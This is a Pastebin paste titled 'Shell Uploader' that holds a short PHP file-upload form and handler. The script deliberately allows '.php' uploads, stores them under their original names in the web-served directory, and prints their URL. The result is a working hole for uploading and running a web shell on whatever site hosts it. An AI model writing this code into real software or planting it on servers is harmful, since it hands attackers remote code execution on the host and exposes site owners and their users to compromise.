Advertisement
Guest User

Shell Uploader

a guest
Jul 9th, 2013
366
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. // Simple PHP Upload Script:  http://coursesweb.net/php-mysql/
  3.  
  4. $uploadpath = './';      // directory to store the uploaded files
  5. $max_size = 2000;          // maximum file size, in KiloBytes
  6. $alwidth = 900;            // maximum allowed width, in pixels
  7. $alheight = 800;           // maximum allowed height, in pixels
  8. $allowtype = array('txt', 'php', 'jpg', 'jpe', '7z');        // allowed extensions
  9.  
  10. if(isset($_FILES['fileup']) && strlen($_FILES['fileup']['name']) > 1) {
  11.   $uploadpath = $uploadpath . basename( $_FILES['fileup']['name']);       // gets the file name
  12.   $sepext = explode('.', strtolower($_FILES['fileup']['name']));
  13.   $type = end($sepext);       // gets extension
  14.   list($width, $height) = getimagesize($_FILES['fileup']['tmp_name']);     // gets image width and height
  15.   $err = '';         // to store the errors
  16.  
  17.   // Checks if the file has allowed type, size, width and height (for images)
  18.   if(!in_array($type, $allowtype)) $err .= 'The file: <b>'. $_FILES['fileup']['name']. '</b> not has the allowed extension type.';
  19.   if($_FILES['fileup']['size'] > $max_size*1000) $err .= '<br/>Maximum file size must be: '. $max_size. ' KB.';
  20.   if(isset($width) && isset($height) && ($width >= $alwidth || $height >= $alheight)) $err .= '<br/>The maximum Width x Height must be: '. $alwidth. ' x '. $alheight;
  21.  
  22.   // If no errors, upload the image, else, output the errors
  23.   if($err == '') {
  24.     if(move_uploaded_file($_FILES['fileup']['tmp_name'], $uploadpath)) {
  25.       echo 'File: <b>'. basename( $_FILES['fileup']['name']). '</b> successfully uploaded:';
  26.       echo '<br/>File type: <b>'. $_FILES['fileup']['type'] .'</b>';
  27.       echo '<br />Size: <b>'. number_format($_FILES['fileup']['size']/1024, 3, '.', '') .'</b> KB';
  28.       if(isset($width) && isset($height)) echo '<br/>Image Width x Height: '. $width. ' x '. $height;
  29.       echo '<br/><br/>Image address: <b>http://'.$_SERVER['HTTP_HOST'].rtrim(dirname($_SERVER['REQUEST_URI']), '\\/').'/'.$uploadpath.'</b>';
  30.     }
  31.     else echo '<b>Unable to upload the file.</b>';
  32.   }
  33.   else echo $err;
  34. }
  35. ?>
  36. <div style="margin:1em auto; width:333px; text-align:center;">
  37.  <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" enctype="multipart/form-data">
  38.   Upload File: <input type="file" name="fileup" /><br/>
  39.   <input type="submit" name='submit' value="Upload" />
  40.  </form>
  41. </div>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement